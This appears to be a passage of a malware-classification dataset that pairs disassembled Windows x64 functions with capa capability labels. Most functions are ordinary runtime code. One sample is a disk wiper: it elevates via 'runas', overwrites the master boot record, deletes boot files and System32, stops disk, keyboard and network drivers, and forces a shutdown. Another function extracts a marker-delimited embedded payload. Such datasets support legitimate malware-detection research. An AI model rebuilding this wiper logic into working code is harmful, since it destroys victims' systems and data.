joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10000bae0
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
push r13
sub rsp, 0xb0
xor ebx, ebx
mov dword [rsp + 0x20], ebx
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov r12d, ebx
xor eax, eax
lock cmpxchg qword [0x100011df8], rdi
je 0x10000bb40
cmp rax, rdi
jne 0x10000bb33
mov r12d, 1
jmp 0x10000bb40
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10000bb19
mov eax, dword [0x100011df0]
cmp eax, 1
jne 0x10000bb55
lea ecx, [rax + 0x1e]
call sub.msvcrt.dll__amsg_exit
jmp 0x10000bbbc
mov eax, dword [0x100011df0]
cmp eax, ebx
jne 0x10000bbb2
mov dword [0x100011df0], 1
lea r13, [0x100001448]
lea rdi, [0x100001430]
mov qword [rsp + 0x30], rdi
mov eax, ebx
mov dword [rsp + 0x24], ebx
cmp rdi, r13
jae 0x10000bba4
cmp eax, ebx
jne 0x10000bba4
mov rcx, qword [rdi]
cmp rcx, rbx
je 0x10000bb99
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x10000bb82
cmp eax, ebx
je 0x10000bbbc
mov eax, 0xff
jmp 0x10000bd04
mov dword [0x1000115d4], 1
mov eax, dword [0x100011df0]
cmp eax, 1
jne 0x10000bbe4
lea rdx, [0x100001428]
lea rcx, [0x1000013f0]
call sub.msvcrt.dll__initterm
mov dword [0x100011df0], 2
cmp r12d, ebx
jne 0x10000bbf3
mov rax, rbx
xchg qword [0x100011df8], rax
cmp qword [0x100011e10], rbx
je 0x10000bc1b
lea rcx, [0x100011e10]
call fcn.10000c0cc
cmp eax, ebx
je 0x10000bc1b
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x100011e10]
mov rcx, qword [sym.imp.msvcrt.dll__wcmdln]
cmp qword [rcx], rbx
jne 0x10000bc31
mov eax, 0xff
jmp 0x10000bd04
mov rcx, qword [rcx]
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
cmp word [rcx], 0x20
ja 0x10000bcb6
cmp word [rcx], bx
je 0x10000bc4c
cmp edx, ebx
jne 0x10000bcb6
cmp word [rcx], bx
je 0x10000bc62
cmp word [rcx], 0x20
ja 0x10000bc62
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x10000bc4c
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x100000000]
call fcn.100002d14
mov dword [0x1000115d0], eax
cmp dword [0x1000115b4], ebx
jne 0x10000bca0
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x1000115d4], ebx
jne 0x10000bcb4
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1000115d0]
jmp 0x10000bd04
cmp word [rcx], 0x22
jne 0x10000bcc9
mov eax, ebx
cmp edx, ebx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x10000bc3d
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r12, qword [r11 + 0x20]
mov rsp, r11
pop r13
ret
sub rsp, 0x28
call fcn.100140000
add rsp, 0x28
jmp 0x10000bae0
Function at 0x1400015e9
Capabilities:
Create process on windows

Disassembly:
push rbp
sub rsp, 0x150
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xc8], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
lea rdx, [rbp + 0xc8]
mov r8, rdx
mov edx, 8
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call rax
test eax, eax
jne 0x140001640
lea rax, str.Failed_to_open_process_token_n
mov rcx, rax
call fcn.140001530
jmp 0x140001738
mov rax, qword [rbp + 0xc8]
lea rcx, [rbp + 0xc4]
lea rdx, [rbp + 0xc0]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8, rcx
mov edx, 0x14
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call rax
test eax, eax
jne 0x14000169f
lea rax, str.Failed_to_get_token_information_n
mov rcx, rax
call fcn.140001530
mov rax, qword [rbp + 0xc8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x140001738
mov eax, dword [rbp + 0xc4]
test eax, eax
je 0x1400016cd
lea rax, str.Running_with_admin_privileges_n
mov rcx, rax
call fcn.140001530
mov rax, qword [rbp + 0xc8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x140001738
lea rax, str.Not_running_with_admin_privileges_n
mov rcx, rax
call fcn.140001530
lea rax, [rbp - 0x50]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp - 0x50]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rax, str.runas
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov ecx, 0
call sub.msvcrt.dll_exit
nop
add rsp, 0x150
pop rbp
ret

Function at 0x140001a5c
Capabilities:
Write file on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x258
lea rbp, [rsp + 0x80]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x40000000
lea rax, str..PhysicalDrive0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x1c8], rax
cmp qword [rbp + 0x1c8], 0xffffffffffffffff
jne 0x140001acf
lea rax, str.Unable_to_access_the_disk._Exiting..._n
mov rcx, rax
call fcn.140001530
jmp 0x140001b66
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0x3e
mov rdi, rdx
rep stosq qword [rdi], rax
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x1c8]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0x200
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov dword [rbp + 0x1c4], eax
cmp dword [rbp + 0x1c4], 0
jne 0x140001b43
lea rax, str.Failed_to_overwrite_MBR_n
mov rcx, rax
call fcn.140001530
jmp 0x140001b52
lea rax, str.MBR_overwritten_successfully_n
mov rcx, rax
call fcn.140001530
mov rax, qword [rbp + 0x1c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x258
pop rdi
pop rbp
ret
Function at 0x140001b70
Capabilities:
Execute command
Self delete

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.del__f__q_C:BootBCD
mov rcx, rax
call sub.msvcrt.dll_system
lea rax, str.del__f__q_C:_bootmgr
mov rcx, rax
call sub.msvcrt.dll_system
lea rax, str.del__f__q_C:EFIMicrosoftBoot_bootmgr
mov rcx, rax
call sub.msvcrt.dll_system
lea rax, str.del__f__q_C:EFIMicrosoftBootBCD
mov rcx, rax
call sub.msvcrt.dll_system
nop
add rsp, 0x20
pop rbp
ret

Function at 0x140001bbb
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
sub rsp, 0x280
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x210], rcx
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0x210]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x1f8], rax
cmp qword [rbp + 0x1f8], 0xffffffffffffffff
je 0x140001d19
mov eax, dword [rbp + 0xb0]
and eax, 0x10
test eax, eax
je 0x140001ca7
lea rax, [rbp + 0xb0]
add rax, 0x2c
lea rdx, [0x14000a184]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcmpA]
call rax
test eax, eax
je 0x140001ce2
lea rax, [rbp + 0xb0]
add rax, 0x2c
lea rdx, [0x14000a186]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcmpA]
call rax
test eax, eax
je 0x140001ce2
lea rax, [rbp + 0xb0]
lea rcx, [rax + 0x2c]
mov rdx, qword [rbp + 0x210]
lea rax, [rbp - 0x60]
mov r9, rcx
mov r8, rdx
lea rdx, str._s_s
mov rcx, rax
call fcn.140001584
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.140001bbb
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
call rax
jmp 0x140001ce2
lea rax, [rbp + 0xb0]
lea rcx, [rax + 0x2c]
mov rdx, qword [rbp + 0x210]
lea rax, [rbp - 0x60]
mov r9, rcx
mov r8, rdx
lea rdx, str._s_s
mov rcx, rax
call fcn.140001584
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0x1f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
call rax
test eax, eax
jne 0x140001c01
mov rax, qword [rbp + 0x1f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
jmp 0x140001d1a
nop
add rsp, 0x280
pop rbp
ret

Function at 0x140001d23
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.REG_DELETE__HKLMSoftwareMicrosoftWindows_NTCurrentVersionFonts___va__f
mov rcx, rax
call sub.msvcrt.dll_system
nop
add rsp, 0x20
pop rbp
ret
Function at 0x140001d41
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
lea rax, str.sc_stop_DeviceHarddisk0DR0
mov qword [rbp - 0x50], rax
lea rax, str.sc_stop_i8042prt
mov qword [rbp - 0x48], rax
lea rax, str.sc_stop_kbdclass
mov qword [rbp - 0x40], rax
lea rax, str.sc_stop_iastorV
mov qword [rbp - 0x38], rax
lea rax, str.sc_stop_msahci
mov qword [rbp - 0x30], rax
lea rax, str.sc_stop_NetBt
mov qword [rbp - 0x28], rax
lea rax, str.sc_stop_Tcpip
mov qword [rbp - 0x20], rax
lea rax, str.sc_stop_LanmanServer
mov qword [rbp - 0x18], rax
mov dword [rbp - 4], 0
jmp 0x140001ddc
mov eax, dword [rbp - 4]
cdqe
mov rax, qword [rbp + rax*8 - 0x50]
mov rcx, rax
call sub.msvcrt.dll_system
mov eax, dword [rbp - 4]
cdqe
mov rax, qword [rbp + rax*8 - 0x50]
mov rdx, rax
lea rax, str.Driver__s_stopped_n
mov rcx, rax
call fcn.140001530
add dword [rbp - 4], 1
mov eax, dword [rbp - 4]
cmp eax, 7
jbe 0x140001daa
nop
nop
add rsp, 0x70
pop rbp
ret

Function at 0x140001dec
Capabilities:
Create thread
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
call fcn.140001fc0
call fcn.1400015e9
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [0x140001741]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
call fcn.140001a5c
call fcn.140001b70
lea rax, str.C:WindowsSystem32
mov rcx, rax
call fcn.140001bbb
call fcn.140001d23
call fcn.140001d41
lea rax, str.shutdown__s__f__t_0
mov rcx, rax
call sub.msvcrt.dll_system
mov eax, 0
add rsp, 0x30
pop rbp
ret

Function at 0x1400021d0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140007f80
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140007f80
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x140002240
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000e0b4]
mov rbx, rcx
test esi, esi
jle 0x140002370
mov rax, qword [0x14000e0b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000228b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002315
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002270
mov rcx, rbx
call fcn.140002c90
mov rdi, rax
test rax, rax
je 0x140002392
mov rax, qword [0x14000e0b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002dd0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000e0b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002377
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000230e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002320
add dword [0x14000e0b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000e0b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000230e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400021d0
nop dword [rax]
xor esi, esi
jmp 0x140002298
mov rax, qword [0x14000e0b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400021d0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.1400021d0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002900
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000e120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000e100]
test rbx, rbx
je 0x14000295c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002953
test rsi, rsi
je 0x140002953
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002938
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002c90
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a9e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002cb0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002cb8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002cb0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140002d0d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002d04
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002cb0
add rax, 0x28
cmp rax, r9
jne 0x140002cf0
xor eax, eax
ret

Function at 0x140002d10
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a9e0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140002d2f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002d38
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002d2f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002dd0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a9e0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140002def
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002df8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x1400021f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002210
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002218
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002210
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000226d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002264
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002210
add rax, 0x28
cmp rax, r9
jne 0x140002250
xor eax, eax
ret

Function at 0x140002270
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043a0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000228f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002298
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000228f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002330
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043a0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000234f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002358
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140008300
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
lea rdx, [0x14002f4f0]
mov rcx, qword [rsp + 0x50]
call fcn.140014660
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x140008333
xor eax, eax
jmp 0x14000848a
mov r8d, 2
xor edx, edx
mov rcx, qword [rsp + 0x28]
call fcn.140014ed4
mov rcx, qword [rsp + 0x28]
call fcn.140015598
mov rcx, qword [rsp + 0x58]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x28]
call fcn.140014ed4
mov rax, qword [rsp + 0x58]
mov eax, dword [rax]
mov ecx, eax
call fcn.14000cd94
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x58]
mov eax, dword [rax]
mov r9, qword [rsp + 0x28]
mov r8d, eax
mov edx, 1
mov rcx, qword [rsp + 0x30]
call fcn.140014acc
mov rcx, qword [rsp + 0x28]
call fcn.140013f70
mov dword [rsp + 0x24], 0
jmp 0x1400083be
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x58]
mov eax, dword [rax]
cmp dword [rsp + 0x24], eax
jae 0x1400083e9
mov eax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x30]
movzx eax, byte [rcx + rax]
sub eax, 0x47
mov ecx, dword [rsp + 0x24]
mov rdx, qword [rsp + 0x30]
mov byte [rdx + rcx], al
jmp 0x1400083b4
mov dword [rsp + 0x20], 0
jmp 0x1400083fd
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x58]
mov eax, dword [rax]
sub eax, 8
cmp dword [rsp + 0x20], eax
jae 0x140008488
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov r8d, 4
lea rdx, str.YOLO
mov rcx, rax
call fcn.14002c5e0
test eax, eax
jne 0x140008483
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
lea rax, [rcx + rax + 4]
mov r8d, 4
lea rdx, str.OLOY
mov rcx, rax
call fcn.14002c5e0
test eax, eax
jne 0x140008483
mov rax, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x20]
mov eax, dword [rax]
sub eax, ecx
sub eax, 8
mov rcx, qword [rsp + 0x58]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
lea rax, [rcx + rax + 8]
jmp 0x14000848a
jmp 0x1400083f3
xor eax, eax
add rsp, 0x48
ret
Function at 0x14000ac40
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [0x14003f080]
xor rax, rsp
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x80], 0
jg 0x14000ac74
xor eax, eax
jmp 0x14000ae20
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x68], 0
je 0x14000ac9c
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x70]
call fcn.14000ae40
jmp 0x14000ae20
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x70]
call fcn.1400063b0
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jbe 0x14000ad38
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x40]
call fcn.140002a90
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x70]
call fcn.140008560
mov r8, qword [rsp + 0x20]
mov rdx, rax
mov rcx, qword [rsp + 0x78]
call fcn.140007820
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x70]
call fcn.1400081d0
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x80], 0
je 0x14000ae10
mov rcx, qword [rsp + 0x70]
call fcn.140006b90
mov qword [rsp + 0x38], 0xfff
cmp qword [rsp + 0x40], 0xfff
jbe 0x14000add8
mov rax, qword [rsp + 0x70]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x78]
call fcn.140014acc
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x28], 0xfff
je 0x14000add6
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
jmp 0x14000ae20
jmp 0x14000ad5e
cmp qword [rsp + 0x40], 0
jbe 0x14000ae10
mov rax, qword [rsp + 0x70]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x40]
mov edx, 1
mov rcx, qword [rsp + 0x78]
call fcn.140014acc
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14000ceb0
add rsp, 0x68
ret
Function at 0x14000dbd8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000dc22
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000dc22
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000dc22
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000dc22
cmp dword [rcx + 0x84], 0xe
jbe 0x14000dc22
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000dc24
xor al, al
add rsp, 0x28
ret

Function at 0x140015318
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.14000d210
sub rsp, rax
mov rax, qword [0x14003f080]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14001ce20
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140015367
mov rax, rbp
jmp 0x14001546f
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x41540]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.14001f434
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x41540]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x14001546b
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001546b
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.14001f434
test rax, rax
js 0x14001546b
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x14001546b
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x14001545d
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x14001545d
cmp byte [rcx], 0xd
jne 0x140015443
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140015452
cmp byte [rcx + 1], 0xa
jne 0x140015452
inc rcx
jmp 0x140015452
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x3f4c0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140015425
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14001546f
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.14000ceb0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x140018f38
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140018d34